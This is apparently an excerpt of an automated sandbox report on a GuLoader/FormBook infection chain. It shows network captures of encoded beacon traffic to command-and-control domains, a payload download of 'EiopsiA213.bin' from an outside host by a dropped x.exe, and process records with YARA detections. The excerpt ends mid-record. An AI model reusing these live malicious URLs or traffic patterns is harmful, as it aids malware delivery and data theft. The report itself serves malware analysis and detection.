Aug 27, 2024 08:05:17.563139915 CEST	1289	OUT	Data Raw: 32 78 31 4a 33 36 49 58 54 51 66 55 43 75 4c 43 45 65 42 52 37 36 33 62 64 46 51 51 63 78 37 64 64 53 4a 52 34 74 44 62 34 37 45 75 73 66 73 54 5a 49 68 52 74 77 52 6c 77 75 50 41 7a 68 65 43 2b 41 71 59 56 34 2f 50 38 6f 4b 56 5a 43 44 59 59 75 Data Ascii: 2x1J36IXTQfUCuLCEeBR763bdFQQcx7ddSJR4tDb47EusfsTZIhRtwRlwuPAzheC+AqYV4/P8oKVZCDYYuGkIuJPECuWF0jha7FDCrk326RiaiCTBRquV1TK4rN5/k4VrTqVw26f5Tmgny5ho0oAVRu5wbRkOX2v6a6upoiNWwML3ic+5hzcXlx3fRemdCv2dGBhEW1E0zneuCjWvn2+GSoNSSBmsQaBtfgjLaMa++DS1GesgLI
Aug 27, 2024 08:05:17.563190937 CEST	9023	OUT	Data Raw: 67 31 6a 65 31 4d 67 76 6c 45 6c 4c 65 77 49 7a 63 2b 42 42 44 58 76 56 6d 52 74 4d 4e 44 49 69 76 46 64 57 4e 6b 64 41 61 6c 47 46 6e 48 58 6c 37 68 53 6e 52 75 55 32 51 4c 77 66 63 48 4e 65 57 2b 33 42 4d 49 39 2b 36 6a 78 67 44 37 6c 4d 34 33 Data Ascii: g1je1MgvlElLewIzc+BBDXvVmRtMNDIivFdWNkdAalGFnHXl7hSnRuU2QLwfcHNeW+3BMI9+6jxgD7lM43Lpgxkz8P1mZoZeloiBv/YrRoVGPxKXn06A8JyxmGcBELg/HiQjP6WMNj28KiGgL+zOOe9Yko5d9sA24fHY33E/h5CcwrlzIDWiHMvQZ6HCiULQvsjHRkiayWg19uq+uO2zFGQhnp75dApQ5oLHFWTQWcQuD8kqn2x
Aug 27, 2024 08:05:17.802840948 CEST	1289	OUT	Data Raw: 4c 61 6e 6c 4d 6c 67 31 64 79 33 57 6a 75 4b 74 32 53 41 45 58 4e 41 73 61 63 4e 31 44 4c 35 4d 79 78 44 2f 75 39 31 72 48 46 7a 32 59 73 71 41 58 51 72 63 5a 52 57 6f 6b 32 68 70 2f 69 4e 75 48 66 37 2f 4d 44 4a 50 43 54 39 57 32 35 54 76 4b 4a Data Ascii: LanlMlg1dy3WjuKt2SAEXNAsacN1DL5MyxD/u91rHFz2YsqAXQrcZRWok2hp/iNuHf7/MDJPCT9W25TvKJ0KOCO3b/MWL/IkyDQqMzvUQ5bgp7XSrv4u6t8f7Nmfc5PdpnZ5C8IxBYNajtsMaY3f99w7Q08EGkYG9t28RZ1ERMzyD51EgHfN4dlSQQgpxQzrVTHpxrx5KgsqsqBWCMjtcJ4zYOaXW5dZQnJ6h2mSsUsQrwfez+O
Aug 27, 2024 08:05:17.803014040 CEST	19335	OUT	Data Raw: 6c 43 73 6f 4d 77 45 45 74 66 50 49 4f 55 66 56 76 56 78 57 67 52 78 64 61 59 55 57 71 34 58 64 69 58 4d 66 44 41 74 4f 4a 45 56 52 39 51 66 50 75 46 74 62 57 79 59 63 69 65 45 62 4f 42 4a 4d 2f 47 5a 6d 47 51 4c 31 54 4f 44 68 69 43 75 43 73 63 Data Ascii: lCsoMwEEtfPIOUfVvVxWgRxdaYUWq4XdiXMfDAtOJEVR9QfPuFtbWyYcieEbOBJM/GZmGQL1TODhiCuCscOhpPU4P/G6psFlFnY1Enh//ZXwBm0u8MI5hFhAlAF3FBe2NSBdSta7sMmsd92Hp2psLJa38gqw5mEUe17zDmtFECUWgakQucfVbnSpaQ0D9DsWjkJSCvbRDNbmeJe9Nklqc/9aqFDCDMAgCfK9AbZn4OS+gHQiSdR
Aug 27, 2024 08:05:17.803179026 CEST	1289	OUT	Data Raw: 46 4c 57 6f 37 70 6d 57 41 54 67 4c 51 55 48 68 7a 41 53 31 55 63 4c 56 43 4b 59 6e 44 45 71 4c 77 51 65 56 38 52 4a 47 39 61 4e 2f 63 44 6c 63 47 7a 6c 62 71 37 65 2b 65 63 66 4c 44 35 39 76 32 6c 4c 54 7a 36 6f 36 65 69 34 41 52 79 51 63 50 47 Data Ascii: FLWo7pmWATgLQUHhzAS1UcLVCKYnDEqLwQeV8RJG9aN/cDlcGzlbq7e+ecfLD59v2lLTz6o6ei4ARyQcPGCHZLEAqXfXbJ/FVpZ3h1ZorSytLK++UrZK/tqB30aGZX7pTNyeg5tPIqH8JgEJc9TjYhnLdSUvt71EiRf8cLXYL1VjFP+noAbowwqmVVuGP2pHhQrJRrurCRcl6wnTwzG/sp/5DyTO3SZt+AKcrcfEBMlp4HJdUwR
Aug 27, 2024 08:05:17.803349972 CEST	3867	OUT	Data Raw: 64 46 4a 4c 6a 39 68 30 46 63 43 54 59 6f 35 6f 4b 42 61 79 72 6d 31 4a 4a 45 53 36 75 35 69 57 50 38 37 6b 4f 68 63 42 68 77 79 55 68 43 61 6e 48 72 2b 61 2f 46 32 36 4a 6c 73 4e 52 6d 2f 32 44 6c 75 73 50 32 36 6d 69 70 73 64 41 31 61 58 39 58 Data Ascii: dFJLj9h0FcCTYo5oKBayrm1JJES6u5iWP87kOhcBhwyUhCanHr+a/F26JlsNRm/2DlusP26mipsdA1aX9X3YA6X0Sc060IV8MumqZMNDZkakf3joFw392TE55Pqy2JOiL20+7o6n3NlRykN9b0T88oMURSRhUOeaQO0O9rXijT18s222yX09A8ym+mkI9RLSRjjTZaBJw0e4odh5XBFiO6j+hLNjv38i/Dx6n/7iwVnE0mfLSQ5
Aug 27, 2024 08:05:18.042315960 CEST	1289	OUT	Data Raw: 4e 78 4e 4b 42 50 53 57 52 6a 32 38 63 62 39 54 6d 61 64 52 59 36 6a 66 73 4a 4a 4f 4f 4a 42 49 76 6c 66 74 44 38 5a 54 38 43 36 54 51 6f 35 39 66 61 52 51 6d 72 67 59 66 51 77 41 56 35 48 49 42 78 61 38 39 42 6d 67 36 42 63 4c 49 53 31 53 4d 32 Data Ascii: NxNKBPSWRj28cb9TmadRY6jfsJJOOJBIvlftD8ZT8C6TQo59faRQmrgYfQwAV5HIBxa89Bmg6BcLIS1SM2/TRc9UeIwii1ZIHqZ4eUJmCzu1IGHtiZpQMYckpsjddVPYorpg2Gj7T69Jop2BoJsT+WZu9KF+9JhZEm9/9eA5Z7p/lRLc2XMwPPb+tZASAD3hgK1MUGNgFaMLn7nK02ouDv0uU+5qRBpMANLGGst0ZZ8nmrkPQTy
Aug 27, 2024 08:05:18.042512894 CEST	1289	OUT	Data Raw: 77 73 51 4f 58 41 37 57 75 77 31 6f 6d 61 70 58 53 33 68 57 4a 39 6a 59 38 79 79 62 58 32 59 53 68 54 36 6a 62 30 71 68 74 78 66 45 42 73 48 42 65 69 38 63 45 57 6e 5a 5a 57 6a 43 73 66 64 47 61 54 4c 38 6a 75 61 35 2f 51 38 6c 42 5a 35 7a 75 73 Data Ascii: wsQOXA7Wuw1omapXS3hWJ9jY8yybX2YShT6jb0qhtxfEBsHBei8cEWnZZWjCsfdGaTL8jua5/Q8lBZ5zus8UGiHacDPdSxPXxZVwm6VVHcEVTriiEtzxmYXvl/PQP67OxJrmfDFybhj/iKnbQB9sKySK5RHf/cdhocXy2IfkGWAKvrMoVjAE6vyLByx7DkTJS5mC/ENNduc0B0aaxlN8Ws1ClcUJ8kIlDDWq2r4HqGHPUTQojX8
Aug 27, 2024 08:05:18.042651892 CEST	6445	OUT	Data Raw: 72 59 6d 47 34 33 55 6f 49 72 58 42 44 51 64 70 2f 68 2b 76 4a 36 47 52 74 53 32 48 36 47 77 69 33 39 73 6b 6b 57 68 4d 4c 51 49 39 6c 6b 4f 69 56 66 73 55 6c 65 51 48 76 4b 34 41 36 34 7a 33 6a 71 75 51 6e 75 4c 76 56 4a 70 36 4a 42 63 78 4a 43 Data Ascii: rYmG43UoIrXBDQdp/h+vJ6GRtS2H6Gwi39skkWhMLQI9lkOiVfsUleQHvK4A64z3jquQnuLvVJp6JBcxJCOuSXYUQkKQESTJdxSDR4f/jpVW92625moiSNGm6rsCH/munODQvMrFzhw56IA7UpCfbXHrsaWxTjVmlpvaQueGIL52xwua34OTeJHbrIHQ4qH1c9ljmeAxFJ64DQYKs7wip38E5+VuSuCE/F11H57GT5culXIT2E3
Aug 27, 2024 08:05:18.042879105 CEST	5867	OUT	Data Raw: 4c 67 35 47 75 77 74 43 56 45 52 54 52 73 4a 53 6d 46 77 4a 6e 64 37 44 62 73 4b 30 79 39 4d 4d 4c 67 6e 45 55 5a 69 42 51 2b 42 55 63 71 65 36 68 51 31 36 7a 79 73 39 6c 46 50 43 56 59 62 64 35 45 59 78 6f 62 4f 47 31 50 71 41 38 68 4b 76 6d 4a Data Ascii: Lg5GuwtCVERTRsJSmFwJnd7DbsK0y9MMLgnEUZiBQ+BUcqe6hQ16zys9lFPCVYbd5EYxobOG1PqA8hKvmJmzcocwnROGZXRWtm0n3vcxVpHRa0NskROQH9teOb5H5kOzNguvatEmopRf4VJNvlN7ANyJgToI8XOJzgZuhXwJoo7PyzcSeDnZ8oPmYSDUaVllfMJwZdZboXMY5ldWym7PlNAiCcZ0EEhF7S2Y3Bi8Kd105slvh5y
Aug 27, 2024 08:05:18.337784052 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:05:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.11.20	49931	185.230.15.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:05:20.341361046 CEST	555	OUT	GET /ns8q/?ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s=&tvodg=2Zld-RLxEfN HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:05:20.632642031 CEST	254	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:05:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 34 36 0d 0a 3c 68 31 3e 52 65 6c 61 74 65 64 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 53 6f 72 72 79 2c 20 77 65 20 63 61 6e 6e 6f 74 20 66 69 6e 64 20 74 68 61 74 20 70 61 67 65 2e 3c 2f 70 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 46<h1>Related Page not found</h1><p>Sorry, we cannot find that page.</p>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49840	199.103.62.205	443	6800	C:\Users\user\AppData\Local\Temp\x.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 05:57:27 UTC	176	OUT	GET /EiopsiA213.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: www.groupriam.com Cache-Control: no-cache
2024-08-27 05:57:27 UTC	422	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Mon, 26 Aug 2024 22:29:31 GMT accept-ranges: bytes content-length: 336448 date: Tue, 27 Aug 2024 05:57:27 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-27 05:57:27 UTC	946	IN	Data Raw: 11 79 ce e0 e0 1a 5b 9c 1b 9a 7b d6 12 bc 12 31 01 0f b5 4a 33 77 4c 8b 6b 53 f0 60 88 1e 5d dd 86 50 84 88 fa 6c e4 33 3b df b9 42 9f de 5d 13 72 69 72 1b d0 09 53 34 cf 88 7f b7 db 67 4f 27 6f db cb 86 1b 74 b5 a3 87 9e 00 3a c8 26 0f f9 da d9 12 3a f6 76 90 5d 8b 70 57 63 02 65 49 da c2 d6 04 0d cb a8 98 e4 7c 37 a7 0c 16 2c 19 0e b5 6a 14 e1 6e 08 8a 7b 8a d2 65 fb bc 69 fd 13 3e a7 62 64 d9 b1 d9 49 12 c3 8e 3c a5 8e 89 06 4a dc 39 2d 69 06 9b d6 34 6b c6 bc fe 59 55 a8 61 34 b8 ab 6d 16 0f ac 59 4c 5e 24 81 fb 5b a9 a5 5f 1d d0 13 b2 16 2d 74 0a 48 b9 a7 1b ca 19 4c 8d 4c c4 f8 e6 1f 81 c0 59 48 ea 94 97 53 a8 08 38 eb 9d 9b 3a ef c6 43 a8 14 12 99 1b b7 e9 36 63 77 d3 1b 55 e7 e3 ce a6 e3 ea 3d f2 13 0d 77 18 43 25 c6 5b 1d c2 e4 4a 21 d7 51 12 88 Data Ascii: y[{1J3wLkS`]Pl3;B]rirS4gO'ot:&:v]pWceI\|7,jn{ei>bdI<J9-i4kYUa4mYL^$[_-tHLLYHS8:C6cwU=wC%[J!Q
2024-08-27 05:57:27 UTC	14994	IN	Data Raw: e8 a7 90 7f e9 66 ef 1b e6 f4 84 16 60 27 65 5a 93 f8 68 74 96 06 9c ed 33 18 a6 00 2a d9 17 f5 37 7c 97 7b 04 6c cb d1 79 a4 86 4d 4f b3 dd 45 51 2e e2 9a 32 95 12 19 71 cc 8e 34 e3 49 09 d4 d0 33 55 a7 1d f7 7f cc 3f ef c1 4a 37 10 c5 23 d3 bd 95 df 10 28 42 17 15 93 21 17 bf aa e8 e9 90 8a a8 16 5f d1 39 fd 04 99 5b 84 6e e6 1e 97 d3 48 4d a0 05 f1 02 d6 71 3a 98 77 50 9e af 14 3c d0 2c e5 ea 24 2a 6b ff 5c e0 00 d1 b9 74 ad 39 d6 c2 8d a0 7d 2d b6 8f 68 21 6c 31 37 de b5 ba 35 1f 9e d2 48 2c 49 04 3f ca 33 06 22 cf ee 2d a5 0b 52 24 af 2c c3 f5 9c 23 25 87 8c ed cd 0d 65 11 32 ed a4 ea 89 f4 19 7c c0 96 02 94 33 bc 88 6d 3c db a9 e3 f2 08 dd 5e 2f 20 e9 87 53 8d 66 c7 37 9b 4d 57 b0 59 b5 12 ef d4 09 82 63 68 ab 07 a1 e2 17 58 92 0c 7c f3 7d 0e 87 61 Data Ascii: f`'eZht37\|{lyMOEQ.2q4I3U?J7#(B!_9[nHMq:wP<,$k\t9}-h!l175H,I?3"-R$,#%e2\|3m<^/ Sf7MWYchX\|}a
2024-08-27 05:57:27 UTC	16384	IN	Data Raw: 68 11 09 51 3b 64 f6 0e d5 61 24 ec 06 6e f7 58 d3 c6 3c 28 6b fd 21 f3 7e 6f fc ea 7b 66 5d 7b 13 02 25 03 c6 c0 27 8a 88 c2 c7 c9 4a 86 bb 1e 72 fb 8a 08 d8 5b 12 e2 6d 08 b8 d3 6e 5e 07 82 0c 41 98 90 c3 3b d9 d1 ff 42 47 cc 96 98 cf 69 b9 9a 13 ed 31 44 a7 f7 dd d6 6d 77 4a 0e a0 00 26 c3 1a 3e 1e fa 53 9b 42 54 80 d9 68 39 de 9c 92 be 93 00 f5 02 68 d8 1e a6 66 0c ad e5 53 b1 69 1a b2 7b ec bd 14 72 63 16 f5 fa d0 e3 ab af 9f 3f 0c c1 3c 90 29 d9 78 fe 09 45 a1 a3 c3 16 72 14 ed ed 77 fa 62 bd c2 58 85 a6 11 5d e9 91 e1 9b 35 ac a1 9c 5c 1e c0 1a 98 79 3e 7c c2 a3 88 89 55 aa 6f c3 f3 4a 57 04 74 f1 4e 8b 36 a3 e8 85 50 20 b4 d5 9d e7 95 c4 f8 38 d8 08 d9 25 fe 6f 4c 66 19 66 8f 1a 3a 52 7d 34 b2 e9 8b 62 07 c3 9d 56 75 a2 ab d5 85 dd 95 19 43 86 59 Data Ascii: hQ;da$nX<(k!~o{f]{%'Jr[mn^A;BGi1DmwJ&>SBTh9hfSi{rc?<)xErwbX]5\y>\|UoJWtN6P 8%oLff:R}4bVuCY
2024-08-27 05:57:28 UTC	16384	IN	Data Raw: 1d a2 eb f6 21 c1 aa 47 69 7e ec 8d 6d 43 24 9d fc 2e 01 6f 43 3b 85 e9 f9 c2 95 98 ab 5f 1b 03 52 c9 c6 30 8a b3 9e 92 05 c6 1d 9c 71 15 37 44 bb 64 a4 3c 31 b2 1c 17 cf f3 7d 10 f2 e0 fa 8c 5e 23 80 91 31 a7 22 88 31 79 d9 29 ba 88 a1 33 b8 1b 4a 21 1a 28 09 fd d6 0b 5a 6e 8b a8 f8 f3 30 8d 66 d2 41 de bd c4 8c a9 70 39 1d 21 03 a9 69 67 ba 56 52 66 81 4c ec c3 db b5 b5 b1 cf 12 85 7b f6 71 72 77 e1 12 87 da f2 a7 22 4f 39 db 4c bc e5 a8 d5 6f 60 71 ba 42 36 28 ff 14 25 8c a4 db 05 cf cc 4b 3d 8e 00 f7 8b 19 f1 cb 65 27 fe dc 4d 7b 86 66 e7 d7 e3 5f ef 81 30 df f4 d5 c8 e6 3f ab 08 58 e0 cc 2f c7 e6 11 94 20 89 9d bc fa d4 07 5a 9c 2b 71 e8 ac ed d8 c0 68 45 28 30 7b 45 3c 54 53 b3 38 f9 a5 c4 5d 85 4e 28 0e e4 31 8d 26 90 4c 8b fd d7 bd 4d 7a e5 b8 15 Data Ascii: !Gi~mC$.oC;_R0q7Dd<1}^#1"1y)3J!(Zn0fAp9!igVRfL{qrw"O9Lo`qB6(%K=e'M{f_0?X/ Z+qhE(0{E<TS8]N(1&LMz
2024-08-27 05:57:28 UTC	16384	IN	Data Raw: a5 dd 39 8c b5 47 f4 6a b5 e4 a5 ba 98 86 05 35 cd 90 71 e5 9f dc fe 54 02 74 8f 1a e5 0e 23 4d 67 e9 c8 19 7e c3 ce 7d 36 9a 73 2b 9b 90 e6 a7 8e d5 36 b3 9a 12 3b 14 78 0b 06 15 0e 4e 57 60 08 87 46 e8 05 b0 e0 b8 62 b9 75 fd f8 2e 22 54 3c 34 9b 89 45 08 1c 3f f8 83 50 88 7b 7a 5f 37 6c 33 ad e2 11 ec dd 9c 4a e2 bb 4f 4f c2 ee be 0d 0a a5 b7 b3 40 63 97 44 cc 22 cc 90 34 bb 75 61 f5 dd f8 02 7d 6c 06 54 6b ad df 94 ff 93 b6 8e 12 6b ad 7b 53 22 30 d9 92 6b d7 f8 c2 f2 a9 d8 e8 4b 31 2d ac 4e eb 21 a6 18 1e ae 13 0a 4c 7c 9c d0 3f 10 5a 35 b2 8c 3a 82 92 8b 2b 1e 73 85 fc 20 fc c9 43 3b a3 6b 35 66 72 7d 73 cc 28 80 a9 7b dd 5e 8a 23 07 4b 83 2a cf d5 85 c1 18 59 e1 b3 46 79 6a 2f 6c 8f 4e 21 bc 6d c0 6c 0f a7 a4 33 02 e9 93 60 77 7f 7b c9 9e c9 aa e2 Data Ascii: 9Gj5qTt#Mg~}6s+6;xNW`Fbu."T<4E?P{z_7l3JOO@cD"4ua}lTkk{S"0kK1-N!L\|?Z5:+s C;k5fr}s({^#K*YFyj/lN!ml3`w{
2024-08-27 05:57:28 UTC	16384	IN	Data Raw: 0c b1 24 ae 0c 77 df a1 29 a7 6b 14 9a 55 f5 c5 66 61 80 78 d4 96 a6 7c 33 29 58 b6 49 a2 2b 70 60 62 dc ed e7 62 c6 a5 97 10 e7 12 74 94 01 30 e2 a4 0a 7c 50 d4 1f be 28 78 a1 d1 c8 0d 71 fb 46 f6 ea 1a b8 24 a2 1b 41 6f 51 30 4f ed c3 ca fd 68 ea 79 2d bc 8d 29 1e 1f 7e 71 ec f7 f2 da 81 29 15 45 17 68 38 7a e4 b3 45 62 f5 16 99 c1 b5 45 6e d4 d9 ce 00 28 81 40 1c 91 7f c2 b2 fa 93 76 65 d9 3f ce 7e af d0 8d ed 8c a2 95 be ec 51 48 d7 77 dd 11 7d 66 6d 78 50 09 f5 05 b8 ac 80 9d 1e 86 c1 51 23 1f b7 e4 80 f7 6f 67 09 77 89 5c 78 29 86 31 a8 3e f1 8e d0 35 75 1c 21 ad 7e b8 6c f9 5d f3 b1 e2 20 dd 53 c2 85 8b 38 87 47 b4 16 c0 7f 4c aa c3 c8 ec e8 a2 05 1a e2 b7 53 64 bf eb a5 5c 72 2c f4 22 51 4e 08 e7 da 84 ae 00 17 af c8 09 79 4c 3a 2a ab 4f 64 03 ec Data Ascii: $w)kUfax\|3)XI+p`bbt0\|P(xqF$AoQ0Ohy-)~q)Eh8zEbEn(@ve?~QHw}fmxPQ#ogw\x)1>5u!~l] S8GLSd\r,"QNyL:*Od
2024-08-27 05:57:28 UTC	16384	IN	Data Raw: bf f3 4e 6d ac fe 38 6d 94 1f 2e 06 27 52 60 ff 8c 79 ff b5 7b c1 c6 7d e4 ee 75 b0 c6 7b 8c 41 63 03 9c 7c 18 80 03 80 19 7d 2d 7b ba 6b 88 d0 d0 6c 5d b7 a3 a6 97 c8 b9 c8 92 92 6d 40 16 42 9f 9f 5f 03 e0 28 e0 40 10 18 fc 16 ab a2 6c 74 98 a4 54 a0 59 fe c3 6e f6 a6 1b b6 7b 66 71 25 48 32 04 eb 44 7b 5b c2 05 6a bb a4 03 dd db 9d a8 a8 72 a3 89 b9 ab 9e 76 c9 a8 18 3d 53 0c 15 dc 84 31 bd 7e d8 80 e7 a6 e2 0d 2e d8 45 3e 84 e9 ea b4 a2 1c ac 41 b7 d4 9c c1 8d c8 29 73 d8 91 cd 8e 5e ae ab d1 81 cb 19 9c 1d 8a 3c 83 e6 51 54 8d fb 1a fa ad 13 85 d0 48 0e d4 84 32 1f db b0 5a 68 a1 53 6b dd e8 0c 38 29 be 69 1d eb 56 5b c0 39 cb a7 21 41 4c 5b c9 7f 3a 7e c0 05 4a 6f 47 82 98 d9 20 39 5f b4 d8 9a 95 e0 c8 d4 95 14 73 f1 c3 af d1 ef f7 e3 1a 1b a7 5e 34 Data Ascii: Nm8m.'R`y{}u{Ac\|}-{kl]m@B_(@ltTYn{fq%H2D{[jrv=S1~.E>A)s^<QTH2ZhSk8)iV[9!AL[:~JoG 9_s^4
2024-08-27 05:57:28 UTC	16384	IN	Data Raw: 74 b9 0d 93 98 91 d1 a7 27 4e cd d3 a9 fe b7 4a 3f 6c ac 90 c9 db 4a f8 c2 2d 43 a4 3b 36 1e 56 fd c0 ec 5d 1f a0 62 41 5a a9 5e 73 4c 7f 2f 06 04 fb d3 7b 96 41 38 03 2b 3e 72 5f 99 4e 2e 7d 64 64 9c a8 a9 65 5e 84 e1 84 5c 1c 75 c7 7f 3e 89 b4 ac eb f0 d2 21 7e d6 3d 30 0d fc 2e 9b 6f 67 f6 03 dc 63 30 e0 fd bc 6f c9 e3 4d 9b 2f 2a 30 90 36 9e d2 c3 ef 7a 3f 06 ab e2 a9 87 7e 06 58 18 e9 60 78 ee 4a 8d 45 d7 8f 46 5e ca b3 32 73 b5 80 9a 66 cc 67 2b 18 c1 35 c6 b5 6d 7f d6 0b ab 56 15 5f 38 e8 98 52 6b b4 c5 34 18 5d 57 fd 74 17 39 22 ba 1d e9 a4 81 89 93 92 04 16 a3 04 ba 2f 80 15 4b 4d 62 2a 16 4f bd 5c a2 3a 0e df 68 bf af 37 95 88 1e 35 8e 3e 8d 78 c1 e4 87 5d b3 24 fc ac 94 43 2f cc 69 f7 d1 c6 54 99 ad fc 99 77 29 6b 11 7c eb 18 48 f6 e9 bc 48 12 Data Ascii: t'NJ?lJ-C;6V]bAZ^sL/{A8+>r_N.}dde^\u>!~=0.ogc0oM/06z?~X`xJEF^2sfg+5mV_8Rk4]Wt9"/KMbO\:h75>x]$C/iTw)k\|HH
2024-08-27 05:57:28 UTC	16384	IN	Data Raw: f9 f6 7b 53 bf 9c 82 45 e3 a3 56 4b dc e0 d3 28 85 4e 91 5a be b1 a1 a8 97 c7 38 13 cd be 23 09 78 b8 a3 d3 99 87 a8 12 99 f8 b4 3a 43 dc 13 ad 34 63 37 45 b0 07 31 8d 72 5f 21 32 2b 93 a0 db 05 24 ac 30 d3 3b 32 83 45 c3 e7 fd 2e 47 f1 38 17 8c 72 62 6e 95 0f 01 68 9d a9 37 7b 84 ed a2 8b 94 a6 b9 0a ca 6e 31 9f e1 03 c7 75 a0 10 03 fe 06 08 45 7e ea a8 9c f8 db 77 6f e6 80 86 3e af db 45 41 a6 bc d9 74 8c 57 9d fd 30 c0 04 09 ea e5 17 1f 6a b6 19 73 24 f5 f5 96 66 48 6e 4c 6b ed ec 6a 89 ef b4 c6 96 a9 54 32 5a 43 cb 07 be 60 81 98 57 a5 cd bf 75 05 eb 78 03 dd ec fb b7 38 94 67 16 a4 f4 ab 68 49 5f 79 38 04 c5 57 d3 86 b1 4b 05 62 23 ce 9f 77 b0 cc 1f f6 65 51 fe 68 cb 3e ac 78 18 e8 c4 dd db c8 5d 1c a6 6f 26 1d 79 e6 aa 3b 91 57 f9 b1 9d 51 00 80 b4 Data Ascii: {SEVK(NZ8#x:C4c7E1r_!2+$0;2E.G8rbnh7{n1uE~wo>EAtW0js$fHnLkjT2ZC`Wux8ghI_y8WKb#weQh>x]o&y;WQ
2024-08-27 05:57:28 UTC	444	IN	Data Raw: 3d 18 8e 19 11 8e 96 26 0d ff 43 ee 2c 09 c4 b0 50 a6 a2 4c 88 4d 61 1a 92 b3 ed 00 ff 7b 19 72 a9 59 28 6c 7a ad e3 96 1f 94 a4 03 b7 22 66 bc 41 39 f3 4c 43 9e 0f 03 00 8f 6d 7a 90 37 b5 69 c8 31 0f 4e 6f 61 d4 33 d7 7b 40 a4 34 76 25 72 65 b1 82 96 b2 8d 0e 17 9a 2f 6c 60 ad 88 73 76 41 44 d9 28 cd 4d 97 ef 64 4c 45 b1 4f c7 b2 da aa ac 77 ea 42 1c 47 3e f9 3f 96 48 97 65 72 6b 91 e8 c0 43 7e d0 c6 66 3b 6f 8c 38 02 c3 09 a7 fa d3 e5 9d 2d 09 a8 d7 86 18 18 59 70 2f 57 e5 54 9c 9b d4 98 3d 6a 1d 52 ac 15 f5 ff b6 1c f5 bf bb a9 98 92 d1 09 11 cb 62 01 cb 19 46 42 ea 47 76 c4 76 f6 b5 df 65 03 fe 42 2c 88 17 7d 8c 60 2f c1 94 5a fb 67 21 50 fc f9 3f 6d 59 71 ce a6 d7 0f c3 79 72 d2 c7 17 ed 6d 6d 8b d1 69 f2 93 be 6c 45 7d 11 e7 96 fe ea 6d 48 a1 18 ae Data Ascii: =&C,PLMa{rY(lz"fA9LCmz7i1Noa3{@4v%re/l`svAD(MdLEOwBG>?HerkC~f;o8-Yp/WT=jRbFBGvveB,}`/Zg!P?mYqyrmmilE}mH

Target ID:	0
Start time:	01:56:26
Start date:	27/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs"
Imagebase:	0x7ff6712a0000
File size:	170'496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	01:56:33
Start date:	27/08/2024
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x400000
File size:	757'008 bytes
MD5 hash:	36EFC401E52E98CD1C735D8A767A1E6D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.136009104486.00000000038BE000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	01:57:22
Start date:	27/08/2024
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x400000
File size:	757'008 bytes
MD5 hash:	36EFC401E52E98CD1C735D8A767A1E6D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.136238638056.00000000341C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.136239540037.0000000035220000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 